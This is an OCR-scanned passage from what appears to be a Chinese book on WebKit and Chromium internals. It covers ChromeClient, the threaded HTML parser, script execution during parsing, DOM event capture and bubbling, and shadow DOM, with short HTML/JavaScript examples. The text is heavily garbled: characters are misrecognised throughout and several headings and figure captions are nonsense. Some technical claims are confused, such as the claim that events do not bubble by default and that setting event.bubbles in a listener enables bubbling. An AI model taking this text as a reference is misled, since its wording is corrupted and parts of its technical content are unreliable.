WebFrame 是 不 得 不 提 的 两 个 类 ， 它 们 是 Chromium 项 目 用 于 表示 网 页 和 
网 页 框 的 接口 类 。 图 中 另外 两 个 类 WebViewImpl 和 WebFrameImpl 是 这 








两 个 类 的 子 类 ， 它 们 负责 使 用 Page、Frame 等 WebCore 中 的 类 来 支持 两 
个 对 外 类 的 接口 。 





WebView 类 和 Page 类 是 一 一 对 应 的 ，Page 是 WebKit 内 部 用 来 表示 网 
页 的 类 ，WebView 是 WebKit 对 外 表示 网 页 的 类 。Page 类 对 于 WebKit 的 
所 有 移植 都 是 一 个 实现 ， 而 这 里 的 WebView 类 是 WebKit 的 Chromium 移 
植 定义 的 接口 类 。 其 实 ， 在 其 他 不 同 的 移植 中 ，WebView 类 可 能 有 不 同 
的 实现 和 一 些 差异 。 一 个 公共 的 内 部 表示 和 一 个 外 部 接口 的 组 合 ， 图 中 
类 似 的 组 合 类 例如 WebFrame 和 Frame 类 ，。 





图 中 右上 角 是 Chrome 和 ChromeClient 类 ， 这 两 个 类 非常 重要 ， 它 们 
使 用 一 个 WebKit 普 表 使 用 的 设计 模式 。 此 Chrome 非 外 Chrome， 这 里 的 
Chrome 是 WebKit 的 一 个 类 ， 表 示 的 是 网 页 所 绘制 的 与 实现 相关 的 一 个 
窗口 ， 而 不 是 Google 的 浏览 器 产品 Chrome。Chrome 类 必须 满足 下 面 两 











。 Chrome 类 需要 具备 获取 各 个 平台 资源 的 能 力 ， 例 如 WebKit 可 以 调 
用 Chrome 类 来 创建 一 个 新 窗口 。 

e Chrome 类 需要 把 WebKit 的 状态 和 进度 等 信息 派发 给 外 部 的 调用 者 
或 者 说 是 WebKit 的 使 用 者 。 

















WebKit 内 部 同 这 两 类 需求 相关 的 要 求 都 是 通过 Chrome 类 的 接口 来 
完成 的 ， 这 时 候 有 个 问题 ， 那 束 是 如 何 让 WebKit 和 外 部 调用 者 既 不 紧密 
灯 合 ， 又 能 方便 地 支持 不 同 的 平台 呢 ?WebKit 使 用 ChromeClient 抽 象 类 
来 解决 这 些 问 题 。Chrome 类 是 一 些 公 共 的 操作 流程 ， 而 ChromeClient 类 
是 Chrome 类 需要 用 到 的 一 些 接 口 ， 这 些 接口 在 不 同 的 移植 上 必须 有 不 
同 的 实现 ， 所 以 从 图 中 读者 可 以 看 到 ，WebKit 的 Chromium 移 植 中 有 


AAA 


ChromeClientImpl 实 现 类 。ChromeClient 类 可 以 有 两 类 接口 ， 第 一 类 用 











来 监听 WebKit 的 内 部 状态 信息 ， 这 其 实 是 回调 函数 ， 第 二 类 用 来 实现 
Chrome 类 所 需要 的 跟 移植 相关 的 工作 。 图 5-12 中 的 两 个 方法 分 别 对 应 第 
一 类 和 第 二 类 ， 这 是 一 个 典型 的 设计 模式 。 


+m_client 


+contentsSizeChanged() 
+createWindow() 
m_client->createWindow() > 


图 5-12 Chrome 和 ChromeClient 类 及 它们 的 方法 












ChromeClient 


+contentsSizeChanged() 
+createWindow() 










举 个 例子 来 说 明 ChromeClient 类 的 用 法 。 当 Chrome 类 接收 到 网 页 的 
大 小 发 生 改 变 的 消息 时 ， 它 就 会 调用 ChromeClient 类 的 
contentsSizeChanged 函 数 来 通知 Chromium 浏 览 器 。 而 当 Chrome 类 需要 创 

建 一 个 窗口 的 时 候 ，WebKit 同 样 使 用 ChromeClient 类 来 帮助 创建 ， 因 为 
Chrome 类 本 号 没有 能 力 创建 与 移植 相关 的 这 些 信息 


最 后 接 上 面 介 绍 的 Chrome 类 ， 它 是 一 个 非常 重要 的 类 ， 是 WebKit 
TERRAE A E 主要 负责 用 户 界 面 和 泻 染 相关 的 需求 ， 实 现 
这 些 需求 会 用 到 平台 的 相关 接口 以 下 是 它 的 一 些 主 要 功能 


。 跟 用 户 界 面 和 泻 染 显示 相关 的 需要 各 个 移植 实现 的 接口 集合 类 

。 继承 自 HostWindow〔 和 宿主 窗口 ) 类， 该 类 包含 一 系列 接口 ， 用 来 
通知 重 绘 或 者 更 新 整个 窗口 、 深 动 窗口 等 。 

。 窗口 相关 操作 ， 例 如 显示 、 隐 藏 窗口 等 。 

e 显示 和 隐藏 窗口 中 的 工具 栏 、 状 态 栏 、 滚 动 条 等 

e 显示 JavaScript 相 关 的 窗口 ， enn confirm. prompt 











5.2.7 FEM iy feet as 


还 记得 之 前 笔者 在 分 析 Chromium 的 多 进程 和 多 线程 模型 的 时 候 提 
到 过 ， 在 Renderer 进 程 中 有 一 个 线程 ， 该 线程 用 来 处 理 HTML 文 档 的 解 
释 任务 。 正 如 前 面 所 说 ， 在 HIML 解 释 器 的 步骤 中 ，WebKit 的 
Chromium 移 植 跟 其 他 的 WebKit 移 植 也 存在 不 同 之 处 。 





顾名思义 ， 线 程 化 的 解释 器 束 是 利用 单独 的 线程 来 解释 HTML 文 
档 。 因 为 在 WebKit 中 ， 网 络 资源 的 字 节 流 自 IO 线 程 传递 给 泻 染 线 程 之 
后 ， 后 面 的 解释 、 布 局 和 渲染 等 工作 基本 上 都 古 工作 在 该 线程 ， 也 束 古 
泻 染 线 程 完成 的 (当然 这 不 是 绝对 的 ， 后 面 再 详细 介绍 ;。 因 为 DOM 
树 只 能 在 泻 染 线程 上 创建 和 访问 ， 这 也 就 是 说 构建 DOM 树 的 过 程 只 能 
在 渲染 线程 中 进行 。 但 是 ， 从 字符 串 到 词语 这 个 阶段 可 以 交 给 单独 的 线 
程 来 做 ，Chromium 浏 览 圳 使 用 的 束 是 这 个 思想 ， 下 面 来 看 看 具体 的 实 
现 过 程 。 








当 字 符 串 传送 到 HTMLDocumentParser 类 的 时 候 ， 该 类 不 是 自己 处 
理 ， 而 是 创建 一 个 新 的 对 象 BackgroundHTMLParser 来 负责 处 理 ， 然 后 
将 这 些 数据 交 给 该 对 象 。WebKit 会 检查 是 人 否 需要 创建 用 于 解释 字符 串 的 
线程 HIMLParserThread。 如 果 访 线程 已 存在 ，WebKit 就 将 刚刚 的 任务 
传递 给 这 一 新 线程 ， 网 5-13 描 述 了 这 一 过 程 。 











HTMLDocumentParser::append() HTMLDocumentParser::startBackgroundParser() 


创建 BackgroundHTMLParser::Configuration 创建 BackgroundHTMLParser 
如 果 需 要 ， 创 建 HTMLParserThread HTMLParserThread::postTask() 


图 5-13 ”线程 化 解释 器 的 初始 化 工作 












在 HTMLParserThread 线 程 中 ，WebKit 所 做 的 事情 包括 将 字符 串 解 
释 成 一 个 个 词语 ， 然 后 使 用 之 前 提 到 的 XSSAuditor 进 行 安全 检查 ， 这 些 
任务 跟 之 前 介绍 的 没有 什么 大 的 区 别 ， 只 是 在 一 个 新 的 线程 中 执行 而 
已 。 主 要 的 区 别 在 于 解释 成 词语 之 后 ，WebKit 会 分 批 次 地 将 结果 词语 传 
递 给 演 染 线程 ， 图 5-14 描 述 了 这 一 过 程 。 


callOnMainThread 
(HTMLDocumentParser::didReceiveParsedChunkFromBackgroundParser) 


HTMLDocumentParser::didReceiveParsedChunkFromBackgroundParser() 
HTMLDocumentParser::pumpPendingSpeculations() 


HTMLDocumentParser::processParsedChunkFromBackgroundParser() 线 
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HTMLDocumentParser::constructTreeFromCompactHTML Token() 
HTMLTreeBuilder::constructTree() 


图 5-14 ”解释 器 线程 将 词语 传递 给 主线 程 的 过 程 








5.2.8 JavaScript 的 执行 


在 HTML 人 解释 器 的 工作 过 程 中 ， 可 能 会 有 JavaScript 代 人 码 ( 全 局 作用 
域 的 代码 ) 需要 执行 ， 它 发 生 在 将 字符 串 解 释 成 词语 之 后 、 创 建 各 种 节 
点 的 时 候 。 这 也 是 为 什么 全 局 执行 的 JavaScript 代 码 不 能 访问 DOM 树 的 
原因 一 一 因为 DOM 树 还 没有 被 创建 完 呢 。 











WebKit 将 DOM 树 创建 过 程 中 需要 执行 的 JavaScript 代 码 交 由 
HTMLScriptRunner 类 来 负责 。 工 作 方 式 很 简单 ， 就 是 利用 JavaScript 引 
擎 来 执行 Node 市 点 中 包含 的 代码 ， 具 体 可 以 参 
考 “HTMLScriptRunner::executeParsingBlockingScript” 方 法 。 


为 JavaScript 代 码 可 能 会 调用 例如 “document.write()” 来 修改 文档 结 
构 ， 所 以 JavaScript 代 码 的 执行 会 阻碍 后 面 节 点 的 创建 ， 同 时 当然 也 会 阻 
碍 后 面 的 资源 下 载 ， 这 时 候 WebKit 对 需要 什么 资源 一 无 所 知 ， 这 导致 了 
资源 不 能 够 并 发 地 下 载 这 一 严重 影响 性 能 的 问题 。 图 5-15 中 ,“ 示 例 
一 "就 是 这 样 的 情况 ，JavaScript 代 码 的 执行 阻碍 了 后 面 “img” 的 图 片 下 
载 。 当 该 “Script" 节 点 使 用 "src* 属 性 的 时 候 ， 情 况 可 能 变 得 更 糟 ， 因 为 
WebKit 还 需要 等 待 网 络 获取 JavaScript 文 档 ， 所 以 关于 JavaScript 的 使 用 
有 以 下 两 点 建议 。 








下 例 一 示例 二 : 示例 
html> <html> <html> 
head <head> head 
<script type=""> < ipt type= async> Jt d 
document.write (“”) document te(“”) <body> 
</script> </script> <img src= > 
</head> </h > </img> 
body> body> i f 
imie o <img src=”..”> <script type=""> 
</img> </img> document.write (”); 
M, | </script> 
</body> </body> </body> 























图 5-15 ”三 个 使 用 JavaScript 的 示例 


1. 将 “script” 元 素 加 上 “async" 属 性 ， 表 明 这 是 一 个 可 以 异步 执行 的 
JavaScript 人 代码， 在 HTMLScriptRunner 类 中 ， 读 者 也 可 以 发 现 相 应 
的 函数 执行 异步 的 JavaScript 代 人 码 ， 图 5-15 中 示例 二 给 出 了 使 用 方 
ee 

2. 另外 一 种 方法 是 将 “script" 元 素 放 在 “body” 元 系 的 最 后 ， 这 样 它 不 会 
阻碍 其 他 资源 的 并 发 下 载 ， 图 5-15 中 示例 三 给 出 了 使 用 方法 。 


像 图 5-15 中 “示例 一 ”这 样 的 网 页 被 大 量 的 使 用 ，WebKit 有 什么 办 法 
能 够 处 理 这 样 的 情况 呢 ? WebKit 使 用 预 扫 摘 和 预 加 载 机 制 来 实现 资源 的 
并 发 下 载 而 不 被 JavaScript 的 执行 所 阻碍 。 


具体 的 做 法 是 ， 当 遇 到 需要 执行 JavaScript 代 人 码 的 时 候 ，WebKit 先 
暂停 当前 JavaScript 代 码 的 执行 ， 使 用 预先 扫 摘 堪 HIMLPreloadScanner 
类 来 扫描 后 面 的 词语 。 如 果 WebKit 发 现 它们 需要 使 用 其 他 资源 ， 那 么 使 
用 预 资源 加 载 器 HTMLResourcePreloader 类 来 发 送 请 求 ， 在 这 之 后 ， 才 
执行 JavaScript 的 代码 。 预 先 扫 摘 器 本 刁 并 不 创建 节点 对 象 ， 也 不 会 构建 
DOM 树 ， 所 以 速度 比较 快 。 束 算 如 此 ， 笔 者 还 是 推荐 使 用 上 面 介 绍 的 
JavaScript 示 例 二 和 示例 三 的 建议 ， 毕 竟 不 是 所 有 泻 染 引擎 都 作 了 如 此 的 





当 DOM 树 构建 完 之 后 ，WebKit 触 发 “DOMContentLoaded” 事 件 ， 注 
册 在 该 事件 上 的 JavaScript 函 数 会 被 调用 。 当 所 有 资源 都 被 加 载 完 之 后 ， 
WebKit 触 发 <onload” 事 件 。 


5.2.9 实践: 理解 DOM 树 


以 第 2 章 ”中 的 示例 代码 2-1 为 例 来 说 明 网 页 的 DOM 树 结构 。 具 体 的 
步骤 如 下 。 


1. 打开 Chrome 浏 览 器 的 开发 者 工具 ， 单 击 “console”( 控 制 台 〉 按 钮 。 

2. 在 控制 台中 输入 “document”， 读 者 会 看 到 整个 文档 ， 而 且 有 一 个 
以 “#document” 表 示 的 根 节 点 ， 这 个 是 额外 附加 在 上 面 的 ， 表 示 的 
ele 图 5-16 左 边 图 片 的 第 一 行 显示 的 束 是 document 

点 。 男 外 ， 读 者 可 以 尝试 输入 “document.firstChild”， 在 这 个 例子 
TA æhtml Tt ih. Be RR DOM PY Hae, AYE 
用 “firstChild” 获 得 第 一 个 子女 ， 然 后 使 用 “nextSibling” 来 获得 子女 
的 兄弟 。 

3. 在 控制 台中 输入 “document.”， 读 者 会 看 到 Chrome 浏 览 占 提供 一 个 
候选 列表 ， 该 列表 中 列举 了 所 有 的 “Document" 对 象 的 属性 和 方法 。 
读者 会 发 现 这 是 一 个 非常 长 的 列表 ， 这 些 方法 和 属性 在 JavaScript 代 
码 中 都 可 以 被 访问 或 者 调用 。 











读者 还 可 以 自行 尝试 一 些 复杂 的 网 页 来 理解 DOM 树 的 结构 ， 帮 助 
加 深 印 象 。 





> document .PTT 


document 
ee z ATTRIBUTE_NODE 页 
ET CDATA_SECTION_NODE 
COMMENT_NOD 
DOCUMENT_FRAGMENT_NODE 
DOCUMENT_NODE 


DOCUMENT_POSITION_CONTAINED_BY 
DOCUMENT_POSITION_CONTAINS 
DOCUMENT_POSITION_DISCONNECTED 
DOCUMENT_POSITION_FOLLOWING 
DOCUMENT_POSITION_IMPLEMENTATION_SPECI... 
DOCUMENT_POSITION_PRECEDING 
DOCUMENT_TYPE_NODE 
ELEMENT_NODE 
ENTITY_NODE 
ENTITY_REFERENCE_NODE 
NOTATION_NODE 
"te PROCESSING_INSTRUCTION_NODE 
ei width “ieepx; } TEXT_NODE 
</style> URL 

titles This is a simple case.</title> = defineGetter v 

</head> = z = 








图 5-16 通过 Chrome 浏 览 器 的 console 理 解 DOM 树 结构 和 接口 


5.3 DOM 的 事件 机 制 


在 介绍 了 DOM 中 的 关于 “core” 部 分 的 内 容 后 ， 下 面 还 有 一 个 很 重要 
的 部 分 ， 那 就 是 事件 的 处 理 机 制 。 随 着 网 页 的 交互 式 能 力 越 来 越 强 ， 用 
户 可 以 操作 网 页 中 的 很 多 内 容 ， 因 此 ， 事 件 的 处 理 就 显得 尤为 重要 。 


5.3.1 事件 的 工作 过 程 


事件 在 工作 过 程 中 使 用 两 个 主体 ， 第 一 个 是 事件 Cevent) ， 第 二 个 
是 事件 目标 〈EventTarget) 。 读 者 还 记得 Node 节 点 是 继承 自 EventTarget 
类 的 吧 。WebKit 中 用 EventTarget 类 来 表示 DOM 规 范 中 Events 部 分 定义 的 
事件 目标 。 








每 个 事件 都 有 属性 来 标记 该 事件 的 事件 目标 。 当 事件 到 达 事件 目标 
《如 一 个 元 素 节 点 ) 的 时 候 ， 在 这 个 目标 上 注册 的 监听 者 〈Event 
Listeners) 都 会 被 触发 调用 ， 当 然 这 些 监 听 者 的 调用 顺序 是 不 固定 的 ， 
所 以 不 能 依赖 监听 者 注册 的 顺序 来 决定 你 的 代码 逻辑 。 








让 我 们 看 看 DOM 标 准 是 如 何 定义 EventTarget 接 口 的 ， 图 5-17 是 
EventTarget 接 口 的 定义 。 图 中 的 接口 是 用 来 注册 和 移 除 监 听 者 的 。 





interface EventTarget { 
void addEventListener(in DOMString type, 
in EventListener listener, 
in boolean useCapture) ; 
void removeEventListener(in DOMString type, 
in EventListener listener, 
in boolean useCapture) ; 


Boolean dispatchEvent (in Event evt) raises (EventException) ; 











图 5-17 EventTarget 接 口 定 义 





事件 处 理 最 和 章 要 的 部 分 就 是 事件 捕获 (Event capture) 和 事件 冒 泡 
(Event ” bubbling〉 这 两 种 机 制 。 为 了 说 明 这 个 问题 ， 这 里 以 W3C 官 网 
上 的 示例 图 为 基础 ， 以 示例 代码 2-1 作 为 具体 例子 来 描述 这 一 过 程 。 图 5- 
18 是 事件 捕获 和 事件 冒 泡 的 过 程 。 








当 演 染 引擎 接收 到 一 个 事件 的 时 候 ， 它 会 通过 HitTest “WebKit 中 的 
种 检查 触发 事件 在 哪个 区 域 的 算法 ) 检查 哪个 元 素 是 直接 的 事件 目 
标 。 在 图 5-18 中 ， 以 img” 为 例 ， 假 设 它 是 事件 的 直接 目标 ， 这 样 ， 事 
件 会 经 过 自 顶 向 下 和 自 底 向 上 两 个 过 程 。 











事件 的 捕获 是 自 顶 向 下 ， 这 也 就 是 说 ， 事 件 先是 到 document 节 点 ， 
然后 一 路 到 达 目 标 节 点 。 在 图 5-18 中 ， 顺 序 束 是“#document”->“HTML”- 
>“body”->“img” 这 样 一 个 顺序 。 事 件 可 以 在 这 一 传递 过 程 中 被 捕获 ， 只 
需要 在 注册 监听 者 的 时 候 设 置 相应 的 参数 即 可 。 图 5-17 中 的 接 
口 “addEventListener” 的 第 三 个 参数 就 是 表示 这 个 含义 。 默 认 情 况 下 ， 其 
他 节点 不 捕获 这 样 的 事件 。 如 果 网 页 注册 了 这 样 的 监听 者 ， 那 么 监听 者 
的 回调 函数 会 被 调用 ， 函 数 可 以 通过 事件 的 “stopPropagation” 函 数 来 阻 
ER FEH. 








图 5-18 DOME 4A 4a FR Fe Bet FE 





事件 的 冒 泡 过 程 是 从 下 同上 的 顺序 ， 它 的 默认 行为 是 不 冒 泡 ， 但 是 
事件 包含 一 个 是 否 冒 泡 的 属性 。 当 这 一 属性 为 真 的 时 候 ， 谊 染 引 擎 会 将 
该 事件 首先 传递 给 事件 目标 节点 的 父 杀 ， 然 后 是 父 杀 的 父 杀 ， 以 此 类 
推 。 同 捕获 动作 一 样 ， 这 些 监听 函数 也 可 以 使 用 "stopPropagation” 函 数 
来 阻止 事件 向上 传递 。 


5.3.2 WebKit 的 事件 处 理 机 制 


DOM 的 事件 分 为 很 多 种 ， 与 用 户 相 关 的 只 是 其 中 的 一 种 ， 称 为 
UIEvent， 其 他 的 包括 CustomEvent、MutationEvent 等 。UIEvent 义 可 以 
分 为 很 多 种 ， 包 括 但 是 不 限于 FocusEvent、MouseEvent、 


KeyboardEvent、CompositionEvent 等 。 











基于 WebKit 的 浏览 器 事件 处 理 过 程 ， 首 先是 做 HitTest， 查 找事 件 发 


生 处 的 元 素 ， 检 测 该 元 素 有 无 监听 者 。 如 果 网 页 的 相关 节点 注册 了 事件 
的 监听 者 ， 那 么 浏览 右 会 把 事件 派发 给 WebKit 内 核 来 处 理 。 同 时 ， 浏 览 
虱 也 可 能 需要 理解 和 处 理 这 样 的 事件 。 这 主要 是 因为 ， 有 些 事件 浏 贤 絮 
必须 啊 应 从 而 对 网 页 作 默认 处 理 。 举 个 例子 来 讲 ， 用 户 通常 使 用 鼠标 滚 
轮 来 翻滚 网 页 。 假 如 当前 鼠标 的 位 置 就 在 一 个 HTML 元 素 之 上 ， 访 元素 
再 要 接收 滚动 事件 ， 那 么 浏览 右 应 该 怎么 做 呢 ? 





图 5-19 就 是 用 来 摘 述 这 种 情况 的 一 个 例子 。 图 中 的 黑色 圆 形 〈 实 际 
上 比较 小 ， 为 了 便于 解释 ， 笔 者 将 其 放大 ) 表示 光标 的 当前 位 置 ， 光 标 
下 面 的 元 素 上 注册 了 一 个 监听 鼠标 滚轮 事件 的 函数 。 那 么 ， 当 用 户 滚动 
鼠标 的 时 候 ， 事 件 由 谁 来 处 理 呢 ?在 这 种 情况 下 ， 浏 览 器 经 过 HitTest 之 
后 ， 发 现 有 监听 者 ， 它 需要 将 这 些 事 件 传 给 WebKit，WebKit 实 际 上 最 
后 调用 JavaScript 引 苟 来 触发 监 昕 者 函数 。 但 是 ， 浏 览 占 可 能 也 会 根据 这 
些 事 件 仍 然 处 理 它 的 默认 行为 ， 这 会 导致 范 争 冲突 ， 所 以 Web 开 发 者 在 
监听 者 的 代码 中 应 该 调用 事件 的 “preventDefault” 函 数 来 阻止 浏览 器 触发 
它 的 默认 处 理 行为 ， 也 就 是 不 需要 滚动 整个 网 页 。 








内 和 骸 网 页 的 外 层 界 面 
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teers 鼠标 滚轮 事件 监听 者 


oo, 网 页 滚动 ? 
网 页 内 容 ， 可 能 包含 事件 的 监听 者 ` 





图 5-19 WebKit 和 浏览 器 的 事件 处 理 机 制 


当 事 件 的 派发 机 制 遇 到 网 页 的 框 结构 特 别 是 多 框 结构 的 时 候 ， 情 况 
变 得 稍 显 复杂 ， 这 和 是 因 为 事件 需要 在 多 个 框 和 多 个 DOM 树 之 间 传 递 。 














当 触 控 事 件 〈Touch Events) 被 引入 后 ， 情 况 变 得 更 为 复杂 。 关 于 移动 
领域 的 论题 ， 我 们 将 在 第 13 章 中 做 详细 讨论 。 





最 后 ， 来 了 解 一 下 事件 从 浏览 器 到 达 WebKit 内 核 之 后 ，WebKit 内 
部 的 调用 过 程 。 图 5-20 人 简单 描述 了 鼠标 事件 的 调用 过 程 ， 这 一 过 程 本 刁 
是 比较 简单 的 ， 复 杂 之 处 在 于 WebKit 的 EventHandler 类 。 


WebViewImp!l::handleInputEvent 








WebViewImpl::handleMouseDown 


PageWidgetEventHandler::handleMouseDown 


EventHandler::handleMousePressEvent 





图 5-20 WebKit 处 理事 件 的 调用 栈 


EventHandler 类 是 处 理事 件 的 核心 类 ， 它 除了 需要 将 各 种 事件 传 给 
JavaScript 引 擎 以 调用 啊 应 的 监听 者 之 外 ， 它 还 会 识别 鼠标 事件 ， 来 触发 
调用 右键 菜单 、 拖 放 效 果 等 与 事件 密切 相关 的 工作 ， 而 且 EventHandler 
类 还 支持 网 页 的 多 框 结 构 。EventHandler 类 的 接口 比较 容易 理解 ， 但 是 
它 的 处 理 逻 辑 极其 复杂 ， 如 果 读 者 需要 关注 这 些 处 理 ， 建 议 仔细 分 析 代 
但: 





WebKit 中 还 有 些 跟 事件 处 理 相 关 的 其 他 类 ， 例 如 
EventPathWalker、EventDispatcher 类 等 ， 顾 名 思 义 ， 这 些 类 都 是 为 了 解 





决 事件 在 DOM 树 中 传递 的 问题 ， 原 理 已 经 解释 过 了 ， 这 里 不 再 更 述 。 


5.3.3 实践: 事件 的 传递 机 制 


为 了 理解 WebKit 的 事件 传递 机 制 ， 本 小 节 依 旧 使 用 一 个 例子 来 说 
明 ， 浏 览 器 依然 使 用 Chrome 浏 览 器 。 


示例 代码 5-1 是 一 段 使 用 DOM 事 件 捕获 和 冒 泡 机 制 的 HTML 代 码 ， 
先 理解 一 下 这 段 代码 的 含义 。 在 JavaScript 代 码 中 ， 笔 者 定义 了 三 个 函 
数 ， 它 们 分 别 是 三 个 监听 者 函数 。 之 后 是 注册 在 HTML 中 的 DOM 树 构建 
好 了 之 后 调用 的 一 个 匿名 函数 。 这 个 函数 必须 要 在 DOM 树 建立 好 之 后 
才能 调用 ， 因 为 它 里 面 使 用 了 DOM 树 结构 。 该 匿名 函数 的 意义 是 为 三 
个 HTML 标签 元 素 分 别 注 册 三 个 监听 者 函数 。 示 例 代 码 5-1 中 
的 “onImg” 和 “onDiv” 就 是 两 个 常见 的 监 昕 冰 数 。 读 者 应 该 会 注意 到 
在 “img” 元 素 的 监听 函数 中 ， 笔 者 将 “event” 的 “bubbles” 属 性 设置 
为 “true”， 这 表明 该 元 素 允 许 事件 问 上 冒 泡 。 对 于 “body” 元 素来 襄 ， 笔 
者 在 注册 它 的 监听 函数 时 ， 加 入 了 第 三 个 参数 ， 该 参数 表示 捕获 到 的 目 
标 可 以 是 它 的 后 代 的 事件 。 





示例 代码 5-1 使 用 事件 捕获 和 冒 泡 机 制 的 HIML 代 码 


<html> 
<body id="body"> 
<div id="div"> 
<img src="apic.png"id="img"></img> 
</div> 


<script type="text/javascript"> 


function onBody(event) { 
console.log("event capture in body."); 
} 
function onDiv(event){ 
console.log("event handled in div."); 
} 
function onImg(event)t{ 
console.log("event handled in img."); 
event. bubbles=true; 
} 
window. onload=function(){ 
var aimg=document.getElementById("img"); 
aimg.addEventListener("click", onImg); 
var adiv=document.getElementById("div"); 
adiv.addEventListener("click", onDiv); 
var abody=document.getElementById("body"); 
abody.addEventListener("click", onBody, true ); 
} 
</script> 
</body> 
</html> 
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在 控制 台 的 输出 结果 应 该 是 “onBoby”、“onImg” 和 “onDiv”。 查 看 的 方式 
是 在 Chrome 浏 览 器 中 打开 开发 者 工具 ， 然 后 选择 “console” 标 签 ， 束 可 以 
看 到 输出 的 结果 。 读 者 可 以 自行 修改 一 些 参 数 ， 看 看 输出 的 字符 串 顺 序 
是 个 和 上 自己 理解 的 相同 ， 以 帮助 自己 了 解 是 否 确实 掌握 了 事件 的 捕获 和 


冒 泡 机 制 。 


5.4 影子 (Shadow) DOM 





影子 DOM 是 一 个 新 东西 ， 它 主要 解决 了 一 个 文档 中 可 能 需要 大 量 
交互 的 多 个 DOM 树 建立 和 维护 各 目的 功能 边界 的 问题 。 听 起 来 有 些 经 
口 ， 本 节 将 跟 读 者 一 起 了 解 影子 DOM 的 作用 和 用 法 ， 以 及 WebKit 是 如 
何 支 持 它 的 。 


5.4.1 什么 是 有 影子 DOM 


想象 一 下 网 页 的 基础 库 开 发 者 希望 开发 这 样 一 个 用 户 界 面 的 控件 

一 一 这 个 控件 可 能 由 一 些 HIML 的 标签 元 素 组 成 ， 这 些 元 素 可 以 组 成 一 
颗 DOM 树 的 子 树 。 这 样 一 个 HIML 控 件 可 以 被 到 处 使 用 ， 但 是 问题 随 之 
而 来 ， 那 就 是 每 个 使 用 控件 的 地 方 都 会 知道 这 个 子 树 的 结构 。 当 网 页 的 
开发 者 需要 访问 网 页 DOM 树 的 时 候 ， 这 些 控件 内 部 的 DOM 子 树 都 会 其 
露出 来 ， 这 些 暴 露 的 节点 不 仅 可 能 给 DOM 树 的 志 历 市 来 很 多 肪 烦 ， 而 
且 也 可 能 给 CSS 的 样式 选择 带 来 问题 ， 因 为 选择 器 无 意 中 可 能 会 改变 这 
些 内 部 节点 的 样式 ， 从 而 导致 很 奇怪 的 控件 界面 。 


























这 的 确 是 一 个 巨大 的 挑战 。 如 何 将 内 部 的 市 点 信息 封 闵 起 来 ， 束 像 
C++ 语言 的 类 一 样 ， 同 时 又 能 够 将 这 些 节 点 泻 染 出 来 呢 ? 这 就 是 W3C 工 
作 组 提出 的 影子 DOM 概 念 。 影 子 DOM 的 规范 草案 能 够 使 得 一 些 DOM 市 
点 在 特定 范围 内 可 见 ， 而 在 网 页 的 DOM 树 中 却 不 可 见 ， 但 是 网 页 泻 染 
的 结果 中 包含 了 这 些 节 点 ， 这 束 使 得 封装 变 得 容易 很 多 。 














图 5-21 描 述 了 HTML 文 档 对 应 的 DOM 树 和 “div” 元 素 包 含 的 一 个 影子 


DOM 子 树 。 当 使 用 JavaScript 代 码 访问 HTML 文 档 的 DOM 树 的 时 候 ， 通 
常 的 接口 是 不 能 直接 访问 到 影子 DOM 子 树 中 的 节点 的 ，JavaScript 代 码 
只 能 通过 特殊 的 接口 方式 。 








图 5-21 HTML 文档 DOM 树 和 有 影子 DOM 子 树 


HTML5 文 持 了 很 多 新 的 特性 ， 例 如 对 视频 、 疼 频 的 支持 ， 读 者 会 
发 现 这 些 元 素 其 实 是 由 很 复杂 的 控制 界面 组 成 ， 这 些 界面 也 是 使 用 
HIML 元 素 编写 ， 但 是 在 DOM 树 中 ， 你 无 法 找到 相应 的 节点 ， 这 其 实 也 
是 使 用 了 影子 DOM 的 思想 。 





因为 影子 DOM 的 子 树 在 整个 网 页 的 DOM 树 中 不 可 见 ， 那 么 事件 是 
如 何 处 理 的 呢 ? 事件 中 需要 包含 事件 目标 ， 这 个 目标 当然 不 能 是 不 可 见 
的 DOM 节 点 ， 所 以 事件 目标 其 实 就 是 包含 影子 DOM 子 树 的 节点 对 象 。 
事件 捕获 的 逻辑 没有 发 生变 化 ， 在 影子 DOM 子 树 内 也 会 继续 传递 。 当 
影子 DOM 子 树 中 的 事件 向 上 冒 泡 的 时 候 ，WebKit 会 同时 向 整个 文档 的 
DOM 上 传递 该 事件 ， 以 避免 一 些 很 奇怪 的 行为 。 











5.4.2 ” WebKit 的 支持 


WebKit 已 经 文 持 影子 DOM 的 规范 草案 ， 虽 然 还 存在 一 些 问 题 。 文 
持 影子 DOM 的 相关 类 在 目录 “Source/core/dom/shadow” 下 ， 里 面 的 主要 
类 是 ShadowRoot， 表 示 的 是 影子 DOM 的 根 节 点 。ShadowRoot 类 继承 自 
DocumentFragment 类 ， 所 以 它 同 样 有 Node 节 点 的 属性 和 方法 ， 因 而 在 影 
子 DOM 树 内 部 ， 允 历 树 没有 什么 特别 不 同 的 地 方 。 





当 人 遍历 HTML 文 档 对 应 DOM 树 的 时 候 ，WebKit 需 要 做 特别 的 判 
断 ， 所 以 读者 会 发 现在 WebKit 的 Node 类 实现 中 存在 大 量 的 条 件 语句 ， 
用 来 检查 当前 节点 是 否 是 ShadowRoot 对 象 ， 如 果 是 该 类 的 对 象 ， 把 它 作 
为 不 同 DOM 树 之 间 的 边界 。 有 时 候 WebKit 还 需要 对 ShadowRoot 对 象 作 
出 特别 处 理 ， 比 如 某 些 情况 会 略 过 它 的 子 树 。 同 样 的 ， 在 事件 处 理 的 文 
持 类 EventPathWalker 和 EventRetargeter 中 ， 也 需要 做 一 些 特别 的 处 理 逻 
辑 ， 原 理 就 是 上 面 所 述 ， 细 市 不 再 介绍 。 




















5.4.3 实践: 使 用 影子 DOM 


下 面 举 一 个 例子 来 说 明 影子 DOM 是 如 何 被 使 用 的 ， 示 例 代 码 5-2 给 
出 了 一 个 简单 的 使 用 webkitCreateShadowRoot 接 口 来 创建 影子 DOM 子 树 
的 例子 。 网 页 只 包含 了 一 个 “div” 元 素 ，JavaScript 代 人 码 使 用 该 元 素 创建 
了 一 个 影子 DOM 子 树 的 根 节点 ， 然 后 该 根 市 点 下 加 入 了 两 个 子女 ， 第 
一 个 是 图 片 元 素 ， 第 二 个 是 “div” 元 素 ， 该 元 素 内 部 包含 了 一 些 文本 。 








示例 代码 5-2 使 用 影子 DOM 的 HTML 网 页 程序 


<html> 
<body> 


<div id="div"></div> 


<script type="text/javascript"> 
window. onload=function() { 
var adiv=document.getElementById("div"); 
var root=adiv.webkitCreateShadowRoot()j; 
var shadowImg=document.createElement("img"); 
shadowImg.src="apic.png"; 
root.appendChild(shadowImg) ; 
var shadowDiv=document.createElement ("div"); 
shadowDiv.innerHTML="This is a div from shadow dom!"; 
root.appendChild(shadowDiv) ; 
} 
</script> 
</body> 
</html> 


